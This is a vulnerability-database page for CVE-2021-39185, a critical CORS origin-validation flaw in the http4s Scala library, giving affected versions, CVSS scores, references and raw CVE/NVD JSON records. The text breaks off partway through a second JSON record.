Vulnerability-Lookup

CVE-2021-39185 (GCVE-0-2021-39185)

Vulnerability from cvelistv5 – Published: 2021-09-01 19:25 – Updated: 2024-08-04 01:58

Title

Default CORS config allows any origin with credentials

Summary

Http4s is a minimal, idiomatic Scala interface for HTTP services. In http4s versions 0.21.26 and prior, 0.22.0 through 0.22.2, 0.23.0, 0.23.1, and 1.0.0-M1 through 1.0.0-M24, the default CORS configuration is vulnerable to an origin reflection attack. The middleware is also susceptible to a Null Origin Attack. The problem is fixed in 0.21.27, 0.22.3, 0.23.2, and 1.0.0-M25. The original `CORS` implementation and `CORSConfig` are deprecated. See the GitHub GHSA for more information, including code examples and workarounds.

Severity

9.1 (Critical)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

CWE

CWE-346 - Origin Validation Error

Assigner

GitHub_M mitre root

References

2 references

URL	Tags
https://github.com/http4s/http4s/security/advisor…	x_refsource_CONFIRM
https://github.com/http4s/http4s/releases/tag/v0.23.2	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version	CPE status
http4s	http4s	Affected: < 0.21.27 Affected: >= 0.22.0, < 0.22.3 Affected: >= 0.23.0, < 0.23.2 Affected: >= 1.0.0-M1, <= 1.0.0-M24	guessed

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-04T01:58:18.235Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_refsource_CONFIRM",
              "x_transferred"
            ],
            "url": "https://github.com/http4s/http4s/security/advisories/GHSA-52cf-226f-rhr6"
          },
          {
            "tags": [
              "x_refsource_MISC",
              "x_transferred"
            ],
            "url": "https://github.com/http4s/http4s/releases/tag/v0.23.2"
          }
        ],
        "title": "CVE Program Container"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "http4s",
          "vendor": "http4s",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 0.21.27"
            },
            {
              "status": "affected",
              "version": "\u003e= 0.22.0, \u003c 0.22.3"
            },
            {
              "status": "affected",
              "version": "\u003e= 0.23.0, \u003c 0.23.2"
            },
            {
              "status": "affected",
              "version": "\u003e= 1.0.0-M1, \u003c= 1.0.0-M24"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Http4s is a minimal, idiomatic Scala interface for HTTP services. In http4s versions 0.21.26 and prior, 0.22.0 through 0.22.2, 0.23.0, 0.23.1, and 1.0.0-M1 through 1.0.0-M24, the default CORS configuration is vulnerable to an origin reflection attack. The middleware is also susceptible to a Null Origin Attack. The problem is fixed in 0.21.27, 0.22.3, 0.23.2, and 1.0.0-M25. The original `CORS` implementation and `CORSConfig` are deprecated. See the GitHub GHSA for more information, including code examples and workarounds."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 9.1,
            "baseSeverity": "CRITICAL",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "HIGH",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-346",
              "description": "CWE-346: Origin Validation Error",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2021-09-01T19:25:09.000Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/http4s/http4s/security/advisories/GHSA-52cf-226f-rhr6"
        },
        {
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/http4s/http4s/releases/tag/v0.23.2"
        }
      ],
      "source": {
        "advisory": "GHSA-52cf-226f-rhr6",
        "discovery": "UNKNOWN"
      },
      "title": "Default CORS config allows any origin with credentials",
      "x_legacyV4Record": {
        "CVE_data_meta": {
          "ASSIGNER": "security-advisories@github.com",
          "ID": "CVE-2021-39185",
          "STATE": "PUBLIC",
          "TITLE": "Default CORS config allows any origin with credentials"
        },
        "affects": {
          "vendor": {
            "vendor_data": [
              {
                "product": {
                  "product_data": [
                    {
                      "product_name": "http4s",
                      "version": {
                        "version_data": [
                          {
                            "version_value": "\u003c 0.21.27"
                          },
                          {
                            "version_value": "\u003e= 0.22.0, \u003c 0.22.3"
                          },
                          {
                            "version_value": "\u003e= 0.23.0, \u003c 0.23.2"
                          },
                          {
                            "version_value": "\u003e= 1.0.0-M1, \u003c= 1.0.0-M24"
                          }
                        ]
                      }
                    }
                  ]
                },
                "vendor_name": "http4s"
              }
            ]
          }
        },
        "data_format": "MITRE",
        "data_type": "CVE",
        "data_version": "4.0",
        "description": {
          "description_data": [
            {
              "lang": "eng",
              "value": "Http4s is a minimal, idiomatic Scala interface for HTTP services. In http4s versions 0.21.26 and prior, 0.22.0 through 0.22.2, 0.23.0, 0.23.1, and 1.0.0-M1 through 1.0.0-M24, the default CORS configuration is vulnerable to an origin reflection attack. The middleware is also susceptible to a Null Origin Attack. The problem is fixed in 0.21.27, 0.22.3, 0.23.2, and 1.0.0-M25. The original `CORS` implementation and `CORSConfig` are deprecated. See the GitHub GHSA for more information, including code examples and workarounds."
            }
          ]
        },
        "impact": {
          "cvss": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 9.1,
            "baseSeverity": "CRITICAL",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "HIGH",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
            "version": "3.1"
          }
        },
        "problemtype": {
          "problemtype_data": [
            {
              "description": [
                {
                  "lang": "eng",
                  "value": "CWE-346: Origin Validation Error"
                }
              ]
            }
          ]
        },
        "references": {
          "reference_data": [
            {
              "name": "https://github.com/http4s/http4s/security/advisories/GHSA-52cf-226f-rhr6",
              "refsource": "CONFIRM",
              "url": "https://github.com/http4s/http4s/security/advisories/GHSA-52cf-226f-rhr6"
            },
            {
              "name": "https://github.com/http4s/http4s/releases/tag/v0.23.2",
              "refsource": "MISC",
              "url": "https://github.com/http4s/http4s/releases/tag/v0.23.2"
            }
          ]
        },
        "source": {
          "advisory": "GHSA-52cf-226f-rhr6",
          "discovery": "UNKNOWN"
        }
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2021-39185",
    "datePublished": "2021-09-01T19:25:09.000Z",
    "dateReserved": "2021-08-16T00:00:00.000Z",
    "dateUpdated": "2024-08-04T01:58:18.235Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.1",
  "vulnerability-lookup:meta": {
    "epss": {
      "cve": "CVE-2021-39185",
      "date": "2026-09-23",
      "epss": "0.00594",
      "percentile": "0.4711"
    },
    "fkie_nvd": {
      "configurations": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:a:typelevel:http4s:*:*:*:*:*:*:*:*",
                  "matchCriteriaId": "EA68C82D-88CA-4315-9FF9-DA0FE8223156",
                  "versionEndIncluding": "0.21.26",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:a:typelevel:http4s:*:*:*:*:*:*:*:*",
                  "matchCriteriaId": "B4F97B04-29A9-4A32-BFC8-E971B72596F6",
                  "versionEndIncluding": "0.22.2",
                  "versionStartIncluding": "0.22.0",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:a:typelevel:http4s:0.23.0:*:*:*:*:*:*:*",
                  "matchCriteriaId": "40C64FD8-E742-4D74-BCCD-C585A7E05A70",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:a:typelevel:http4s:0.23.1:*:*:*:*:*:*:*",
                  "matchCriteriaId": "AB9E400F-E915-4E63-B580-F54C32CC8FA1",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:a:typelevel:http4s:1.0.0:milestone1:*:*:*:*:*:*",
                  "matchCriteriaId": "65C497F9-281C-4565-BD36-B6B4D7E6F8BD",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:a:typelevel:http4s:1.0.0:milestone10:*:*:*:*:*:*",
                  "matchCriteriaId": "6FCFC3E5-7530-4AAA-A2C7-36DC307B613B",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:a:typelevel:http4s:1.0.0:milestone11:*:*:*:*:*:*",
                  "matchCriteriaId": "D03CBFE3-0B31-4D7C-BC5D-61DCD3C2C486",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:a:typelevel:http4s:1.0.0:milestone12:*:*:*:*:*:*",
                  "matchCriteriaId": "76F8BC53-544C-4285-8D9B-CB91AD080048",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:a:typelevel:http4s:1.0.0:milestone13:*:*:*:*:*:*",
                  "matchCriteriaId": "778947CA-20BA-469F-87E1-97D8713ACC75",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:a:typelevel:http4s:1.0.0:milestone14:*:*:*:*:*:*",
                  "matchCriteriaId": "F5B02828-1E40-49BE-8367-10296625C696",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:a:typelevel:http4s:1.0.0:milestone15:*:*:*:*:*:*",
                  "matchCriteriaId": "A569F32F-3C8C-4F8F-B0BC-6ADC993596A9",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:a:typelevel:http4s:1.0.0:milestone16:*:*:*:*:*:*",
                  "matchCriteriaId": "525DBF4B-F574-459D-9CE2-6AF597ABAE10",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:a:typelevel:http4s:1.0.0:milestone17:*:*:*:*:*:*",
                  "matchCriteriaId": "FD05B15E-1E4F-43EA-B21A-3B96A77814D6",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:a:typelevel:http4s:1.0.0:milestone18:*:*:*:*:*:*",
                  "matchCriteriaId": "65C79F52-F05F-4F0A-AC27-393197B9EF00",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:a:typelevel:http4s:1.0.0:milestone19:*:*:*:*:*:*",
                  "matchCriteriaId": "A426B4C0-643A-492F-B7FB-725549F613F6",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:a:typelevel:http4s:1.0.0:milestone2:*:*:*:*:*:*",
                  "matchCriteriaId": "D95E231C-3D13-45FC-AF9A-CB8CF1FFC983",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:a:typelevel:http4s:1.0.0:milestone20:*:*:*:*:*:*",
                  "matchCriteriaId": "CF973F58-0AC7-4B58-A2CF-654133CE7F1A",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:a:typelevel:http4s:1.0.0:milestone21:*:*:*:*:*:*",
                  "matchCriteriaId": "35C40331-C96C-477C-B6BD-D5506E612DA8",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:a:typelevel:http4s:1.0.0:milestone22:*:*:*:*:*:*",
                  "matchCriteriaId": "615BC827-3E0F-4C1E-8FD2-B59FF31F2D49",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:a:typelevel:http4s:1.0.0:milestone23:*:*:*:*:*:*",
                  "matchCriteriaId": "FDFB35FD-4D08-4895-B1B6-FC03BCB3EB22",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:a:typelevel:http4s:1.0.0:milestone24:*:*:*:*:*:*",
                  "matchCriteriaId": "97F74D04-031E-47D4-BA57-DBE9C74CE256",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:a:typelevel:http4s:1.0.0:milestone3:*:*:*:*:*:*",
                  "matchCriteriaId": "DE093D65-1B3A-4A4A-BC76-05DEF9529712",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:a:typelevel:http4s:1.0.0:milestone4:*:*:*:*:*:*",
                  "matchCriteriaId": "DC3CA618-148D-4F97-9913-316DDDD97838",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:a:typelevel:http4s:1.0.0:milestone5:*:*:*:*:*:*",
                  "matchCriteriaId": "02FA538C-9D8A-49D5-8268-1A2C3E96B89B",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:a:typelevel:http4s:1.0.0:milestone6:*:*:*:*:*:*",
                  "matchCriteriaId": "D18A3ABC-5C47-45BF-978C-5BB17787DCFA",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:a:typelevel:http4s:1.0.0:milestone7:*:*:*:*:*:*",
                  "matchCriteriaId": "1CE1CF51-E61A-418A-AB22-9D7A6D690BAA",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:a:typelevel:http4s:1.0.0:milestone8:*:*:*:*:*:*",
                  "matchCriteriaId": "29A70AAA-B77A-4291-A700-C910362DB8D4",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:a:typelevel:http4s:1.0.0:milestone9:*:*:*:*:*:*",
                  "matchCriteriaId": "9F8F3C38-57AB-4CBC-8959-7FF51CBA7907",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Http4s is a minimal, idiomatic Scala interface for HTTP services. In http4s versions 0.21.26 and prior, 0.22.0 through 0.22.2, 0.23.0, 0.23.1, and 1.0.0-M1 through 1.0.0-M24, the default CORS configuration is vulnerable to an origin reflection attack. The middleware is also susceptible to a Null Origin Attack. The problem is fixed in 0.21.27, 0.22.3, 0.23.2, and 1.0.0-M25. The original `CORS` implementation and `CORSConfig` are deprecated. See the GitHub GHSA for more information, including code examples and workarounds."
        },
        {
          "lang": "es",
          "value": "Http4s es una interfaz m\u00ednima e idiom\u00e1tica de Scala para servicios HTTP. En http4s versiones 0.21.26 y anteriores, 0.22.0 hasta 0.22.2, 0.23.0, 0.23.1, y 1.0.0-M1 hasta 1.0.0-M24, la configuraci\u00f3n CORS predeterminada es vulnerable a un ataque de reflexi\u00f3n de origen. El middleware tambi\u00e9n es susceptible a un ataque de Origen Nulo. El problema se ha corregido en las versiones 0.21.27, 0.22.3, 0.23.2 y 1.0.0-M25. La implementaci\u00f3n original de \"CORS\" y \"CORSConfig\" est\u00e1n obsoletas. Consulte el GHSA de GitHub para conseguir m\u00e1s informaci\u00f3n, incluyendo ejemplos de c\u00f3digo y soluciones"
        }
      ],
      "id": "CVE-2021-39185",
      "lastModified": "2024-11-21T06:18:49.873",
      "metrics": {
        "cvssMetricV2": [
          {
            "acInsufInfo": false,
            "baseSeverity": "MEDIUM",
            "cvssData": {
              "accessComplexity": "LOW",
              "accessVector": "NETWORK",
              "authentication": "NONE",
              "availabilityImpact": "NONE",
              "baseScore": 6.4,
              "confidentialityImpact": "PARTIAL",
              "integrityImpact": "PARTIAL",
              "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:N",
              "version": "2.0"
            },
            "exploitabilityScore": 10.0,
            "impactScore": 4.9,
            "obtainAllPrivilege": false,
            "obtainOtherPrivilege": false,
            "obtainUserPrivilege": false,
            "source": "nvd@nist.gov",
            "type": "Primary",
            "userInteractionRequired": false
          }
        ],
        "cvssMetricV31": [
          {
            "cvssData": {
              "attackComplexity": "LOW",
              "attackVector": "NETWORK",
              "availabilityImpact": "NONE",
              "baseScore": 9.1,
              "baseSeverity": "CRITICAL",
              "confidentialityImpact": "HIGH",
              "integrityImpact": "HIGH",
              "privilegesRequired": "NONE",
              "scope": "UNCHANGED",
              "userInteraction": "NONE",
              "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
              "version": "3.1"
            },
            "exploitabilityScore": 3.9,
            "impactScore": 5.2,
            "source": "security-advisories@github.com",
            "type": "Secondary"
          }
        ]
      },
      "published": "2021-09-01T20:15:07.447",
      "references": [
        {
          "source": "security-advisories@github.com",
          "tags": [
            "Third Party Advisory"
          ],
          "url": "https://github.com/http4s/http4s/releases/tag/v0.23.2"
        },
        {
          "source": "security-advisories@github.com",
          "tags": [
            "Patch",
            "Third Party Advisory"
          ],
          "url": "https://github.com/http4s/http4s/security/advisories/GHSA-52cf-226f-rhr6"
        },
        {
          "source": "af854a3a-2127-422b-91ae-364da2661108",
          "tags": [
            "Third Party Advisory"
          ],
          "url": "https://github.com/http4s/http4s/releases/tag/v0.23.2"
        },
        {
          "source": "af854a3a-2127-422b-91ae-364da2661108",
          "tags": [
            "Patch",
            "Third Party Advisory"
          ],
          "url": "https://github.com/http4s/http4s/security/advisories/GHSA-52cf-226f-rhr6"
        }
      ],
      "sourceIdentifier": "security-advisories@github.com",
      "vulnStatus": "Modified",
      "weaknesses": [
        {
          "description": [
            {
              "lang": "en",
              "value": "CWE-346"
            }
          ],
          "source": "security-advisories@github.com",
          "type": "Primary"
        }
      ]
    },
    "nvd": {
      "cve": {
        "configurations": [
          {
            "nodes": [
              {
                "cpeMatch": [
                  {
                    "criteria": "cpe:2.3:a:typelevel:http4s:*:*:*:*:*:*:*:*",
                    "matchCriteriaId": "EA68C82D-88CA-4315-9FF9-DA0FE8223156",
                    "versionEndIncluding": "0.21.26",
                    "vulnerable": true
                  },
                  {
                    "criteria": "cpe:2.3:a:typelevel:http4s:*:*:*:*:*:*:*:*",
                    "matchCriteriaId": "B4F97B04-29A9-4A32-BFC8-E971B72596F6",
                    "versionEndIncluding": "0.22.2",
                    "versionStartIncluding": "0.22.0",
                    "vulnerable": true
                  },
                  {
                    "criteria": "cpe:2.3:a:typelevel:http4s:0.23.0:*:*:*:*:*:*:*",
                    "matchCriteriaId": "40C64FD8-E742-4D74-BCCD-C585A7E05A70",
                    "vulnerable": true
                  },
                  {
                    "criteria": "cpe:2.3:a:typelevel:http4s:0.23.1:*:*:*:*:*:*:*",
                    "matchCriteriaId": "AB9E400F-E915-4E63-B580-F54C32CC8FA1",
                    "vulnerable": true
                  },
                  {
                    "criteria": "cpe:2.3:a:typelevel:http4s:1.0.0:milestone1:*:*:*:*:*:*",
                    "matchCriteriaId": "65C497F9-281C-4565-BD36-B6B4D7E6F8BD",
                    "vulnerable": true
                  },
                  {
                    "criteria": "cpe:2.3:a:typelevel:http4s:1.0.0:milestone10:*:*:*:*:*:*",
                    "matchCriteriaId": "6FCFC3E5-7530-4AAA-A2C7-36DC307B613B",
                    "vulnerable": true
                  },
                  {
                    "criteria": "cpe:2.3:a:typelevel:http4s:1.0.0:milestone11:*:*:*:*:*:*",
                    "matchCriteriaId": "D03CBFE3-0B31-4D7C-BC5D-61DCD3C2C486",
                    "vulnerable": true
                  },
                  {
                    "criteria": "cpe:2.3:a:typelevel:http4s:1.0.0:milestone12:*:*:*:*:*:*",
                    "matchCriteriaId": "76F8BC53-544C-4285-8D9B-CB91AD080048",
                    "vulnerable": true
                  },
                  {
                    "criteria": "cpe:2.3:a:typelevel:http4s:1.0.0:milestone13:*:*:*:*:*:*",
                    "matchCriteriaId": "778947CA-20BA-469F-87E1-97D8713ACC75",
                    "vulnerable": true
                  },
                  {
                    "criteria": "cpe:2.3:a:typelevel:http4s:1.0.0:milestone14:*:*:*:*:*:*",
                    "matchCriteriaId": "F5B02828-1E40-49BE-8367-10296625C696",
                    "vulnerable": true
                  },
                  {
                    "criteria": "cpe:2.3:a:typelevel:http4s:1.0.0:milestone15:*:*:*:*:*:*",
                    "matchCriteriaId": "A569F32F-3C8C-4F8F-B0BC-6ADC993596A9",
                    "vulnerable": true
                  },
                  {
                    "criteria": "cpe:2.3:a:typelevel:http4s:1.0.0:milestone16:*:*:*:*:*:*",
                    "matchCriteriaId": "525DBF4B-F574-459D-9CE2-6AF597ABAE10",
                    "vulnerable": true
                  },
                  {
                    "criteria": "cpe:2.3:a:typelevel:http4s:1.0.0:milestone17:*:*:*:*:*:*",
                    "matchCriteriaId": "FD05B15E-1E4F-43EA-B21A-3B96A77814D6",
                    "vulnerable": true
                  },
                  {
                    "criteria": "cpe:2.3:a:typelevel:http4s:1.0.0:milestone18:*:*:*:*:*:*",
                    "matchCriteriaId": "65C79F52-F05F-4F0A-AC27-393197B9EF00",
                    "vulnerable": true
                  },
                  {
                    "criteria": "cpe:2.3:a:typelevel:http4s:1.0.0:milestone19:*:*:*:*:*:*",
                    "matchCriteriaId": "A426B4C0-643A-492F-B7FB-725549F613F6",
                    "vulnerable": true
                  },
                  {
                    "criteria": "cpe:2.3:a:typelevel:http4s:1.0.0:milestone2:*:*:*:*:*:*",
                    "matchCriteriaId": "D95E231C-3D13-45FC-AF9A-CB8CF1FFC983",
                    "vulnerable": true
                  },
                  {
                    "criteria": "cpe:2.3:a:typelevel:http4s:1.0.0:milestone20:*:*:*:*:*:*",
                    "matchCriteriaId": "CF973F58-0AC7-4B58-A2CF-654133CE7F1A",
                    "vulnerable": true
                  },
                  {
                    "criteria": "cpe:2.3:a:typelevel:http4s:1.0.0:milestone21:*:*:*:*:*:*",
                    "matchCriteriaId": "35C40331-C96C-477C-B6BD-D5506E612DA8",
                    "vulnerable": true
                  },
                  {
                    "criteria": "cpe:2.3:a:typelevel:http4s:1.0.0:milestone22:*:*:*:*:*:*",
                    "matchCriteriaId": "615BC827-3E0F-4C1E-8FD2-B59FF31F2D49",
                    "vulnerable": true
                  },
                  {
                    "criteria": "cpe:2.3:a:typelevel:http4s:1.0.0:milestone23:*:*:*:*:*:*",
                    "matchCriteriaId": "FDFB35FD-4D08-4895-B1B6-FC03BCB3EB22",
                    "vulnerable": true
                  },
                  {
                    "criteria": "cpe:2.3:a:typelevel:http4s:1.0.0:milestone24:*:*:*:*:*:*",
                    "matchCriteriaId": "97F74D04-031E-47D4-BA57-DBE9C74CE256",
                    "vulnerable": true
                  },
                  {
                    "criteria": "cpe:2.3:a:typelevel:http4s:1.0.0:milestone3:*:*:*:*:*:*",
                    "matchCriteriaId": "DE093D65-1B3A-4A4A-BC76-05DEF9529712",
                    "vulnerable": true
                  },
                  {
                    "criteria": "cpe:2.3:a:typelevel:http4s:1.0.0:milestone4:*:*:*:*:*:*",
                    "matchCriteriaId": "DC3CA618-148D-4F97-9913-316DDDD97838",
                    "vulnerable": true
                  },
                  {
                    "criteria": "cpe:2.3:a:typelevel:http4s:1.0.0:milestone5:*:*:*:*:*:*",
                    "matchCriteriaId": "02FA538C-9D8A-49D5-8268-1A2C3E96B89B",
                    "vulnerable": true
                  },
                  {
                    "criteria": "cpe:2.3:a:typelevel:http4s:1.0.0:milestone6:*:*:*:*:*:*",
                    "matchCriteriaId": "D18A3ABC-5C47-45BF-978C-5BB17787DCFA",
                    "vulnerable": true
                  },
                  {
                    "criteria": "cpe:2.3:a:typelevel:http4s:1.0.0:milestone7:*:*:*:*:*:*",
                    "matchCriteriaId": "1CE1CF51-E61A-418A-AB22-9D7A6D690BAA",
                    "vulnerable": true
                  },
                  {
                    "criteria": "cpe:2.3:a:typelevel:http4s:1.0.0:milestone8:*:*:*:*:*:*",
                    "matchCriteriaId": "29A70AAA-B77A-4291-A700-C910362DB8D4",
                    "vulnerable": true
                  },
                  {
                    "criteria": "cpe:2.3:a:typelevel:http4s:1.0.0:milestone9:*:*:*:*:*:*",
                    "matchCriteriaId": "9F8F3C38-57AB-4CBC-8959-7FF51CBA7907",
                    "vulnerable": true
                  }
                ],
                "negate": false,
                "operator": "OR"
              }
            ]
          }
        ],
        "cveTags": [],
        "descriptions": [
          {
            "lang": "en",
            "value": "Http4s is a minimal, idiomatic Scala interface for HTTP services. In http4s versions 0.21.26 and prior, 0.22.0 through 0.22.2, 0.23.0, 0.23.1, and 1.0.0-M1 through 1.0.0-M24, the default CORS configuration is vulnerable to an origin reflection attack. The middleware is also susceptible to a Null Origin Attack. The problem is fixed in 0.21.27, 0.22.3, 0.23.2, and 1.0.0-M25. The original `CORS` implementation and `CORSConfig` are deprecated. See the GitHub GHSA for more information, including code examples and workarounds."
          },
          {
            "lang": "es",
            "value": "Http4s es una interfaz m\u00ednima e idiom\u00e1tica de Scala para servicios HTTP. En http4s versiones 0.21.26 y anteriores, 0.22.0 hasta 0.22.2, 0.23.0, 0.23.1, y 1.0.0-M1 hasta 1.0.0-M24, la configuraci\u00f3n CORS predeterminada es vulnerable a un ataque de reflexi\u00f3n de origen. El middleware tambi\u00e9n es susceptible a un ataque de Origen Nulo. El problema se ha corregido en las versiones 0.21.27, 0.22.3, 0.23.2 y 1.0.0-M25. La implementaci\u00f3n original de \"CORS\" y \"CORSConfig\" est\u00e1n obsoletas. Consulte el GHSA de GitHub para conseguir m\u00e1s informaci\u00f3n, incluyendo ejemplos de c\u00f3digo y soluciones"
          }
        ],
        "id": "CVE-2021-39185",
        "lastModified": "2024-11-21T06:18:49.873",
        "metrics": {
          "cvssMetricV2": [
            {
              "acInsufInfo": false,
              "baseSeverity": "MEDIUM",
              "cvssData": {
                "accessComplexity": "LOW",
                "accessVector": "NETWORK",
                "authentication": "NONE",
                "availabilityImpact": "NONE",
                "baseScore": 6.4,
                "confidentialityImpact": "PARTIAL",
                "integrityImpact": "PARTIAL",
                "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:N",
                "version": "2.0"
              },
              "exploitabilityScore": 10.0,
              "impactScore": 4.9,
              "obtainAllPrivilege": false,
              "obtainOtherPrivilege": false,
              "obtainUserPrivilege": false,
              "source": "nvd@nist.gov",
              "type": "Primary",
              "userInteractionRequired": false
            }
          ],
          "cvssMetricV31": [
            {
              "cvssData": {
                "attackComplexity": "LOW",
                "attackVector": "NETWORK",
                "availabilityImpact": "NONE",
                "baseScore": 9.1,
                "baseSeverity": "CRITICAL",
                "confidentialityImpact": "HIGH",
                "integrityImpact": "HIGH",
                "privilegesRequired": "NONE",
                "scope": "UNCHANGED",
                "userInteraction": "NONE",
                "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
                "version": "3.1"
              },
              "exploitabilityScore": 3.9,
              "impactScore": 5.2,
              "source": "security-advisories@github.com",
              "type": "Secondary"
            }
          ]
        },
        "published": "2021-09-01T20:15:07.447",
        "references": [
          {
            "source": "security-advisories@github.com",
            "tags": [
              "Third Party Advisory"
            ],
            "url": "https://github.com/http4s/http4s/releases/tag/v0.23.2"
          },
          {
            "source": "security-advisories@github.com",
            "tags": [
              "Patch",
              "Third Party Advisory"
            ],
            "url": "https://github.com/http4s/http4s/security/advisories/GHSA-52cf-226f-rhr6"
          },
          {
            "source": "af854a3a-2127-422b-91ae-364da2661108",
            "tags": [
              "Third Party Advisory"
            ],
            "url": "https://github.com/http4s/http4s/releases/tag/v0.23.2"
          },
          {
            "source": "af854a3a-2127-422b-91ae-364da2661108",
            "tags": [
              "Patch",
              "Third Party Advisory"
            ],
            "url": "https://github.com/http4s/http4s/security/advisories/GHSA-52cf-226f-rhr6"
          }
        ],
        "sourceIdentifier": "security-advisories@github.com",
        "vulnStatus": "Modified",
        "weaknesses": [
          {
            "description": [
              {
                "lang": "en",
                "value": "CWE-346"
              }
            ],
            "source": "security-advisories@github.com",
            "type": "Primary"
          }
        ]
      }
    },
    "redhat_vex": {
      "current_release_date": "2026-03-27T13:39:46+00:00",
      "cve": "CVE-2021-39185",
      "id": "CVE-2021-39185",
      "initial_release_date": "2021-01-01T00:00:00+00:00",
      "product_status:known_not_affected": "1",
      "source": "Red Hat CSAF VEX",
      "status": "final",
      "title": "Default CORS config allows any origin with credentials",
      "url": "https://security.access.redhat.com/data/csaf/v2/vex/2021/cve-2021-39185.json",
      "version": "3"
    }
  }
}

FKIE_CVE-2021-39185

Vulnerability from fkie_nvd - Published: 2021-09-01 20:15 - Updated: 2026-06-17 04:03

Severity

9.1 (Critical) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Summary

References

URL	Tags
security-advisories@github.com	https://github.com/http4s/http4s/releases/tag/v0.23.2	Third Party Advisory
security-advisories@github.com	https://github.com/http4s/http4s/security/advisories/GHSA-52cf-226f-rhr6	Patch, Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108	https://github.com/http4s/http4s/releases/tag/v0.23.2	Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108	https://github.com/http4s/http4s/security/advisories/GHSA-52cf-226f-rhr6	Patch, Third Party Advisory

Impacted products

Vendor	Product	Version
typelevel	http4s	*
typelevel	http4s	*
typelevel	http4s	0.23.0
typelevel	http4s	0.23.1
typelevel	http4s	1.0.0
typelevel	http4s	1.0.0
typelevel	http4s	1.0.0
typelevel	http4s	1.0.0
typelevel	http4s	1.0.0
typelevel	http4s	1.0.0
typelevel	http4s	1.0.0
typelevel	http4s	1.0.0
typelevel	http4s	1.0.0
typelevel	http4s	1.0.0
typelevel	http4s	1.0.0
typelevel	http4s	1.0.0
typelevel	http4s	1.0.0
typelevel	http4s	1.0.0
typelevel	http4s	1.0.0
typelevel	http4s	1.0.0
typelevel	http4s	1.0.0
typelevel	http4s	1.0.0
typelevel	http4s	1.0.0
typelevel	http4s	1.0.0
typelevel	http4s	1.0.0
typelevel	http4s	1.0.0
typelevel	http4s	1.0.0
typelevel	http4s	1.0.0

JSON

To clipboard

{
  "affected": [
    {
      "affectedData": [
        {
          "product": "http4s",
          "vendor": "http4s",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 0.21.27"
            },
            {
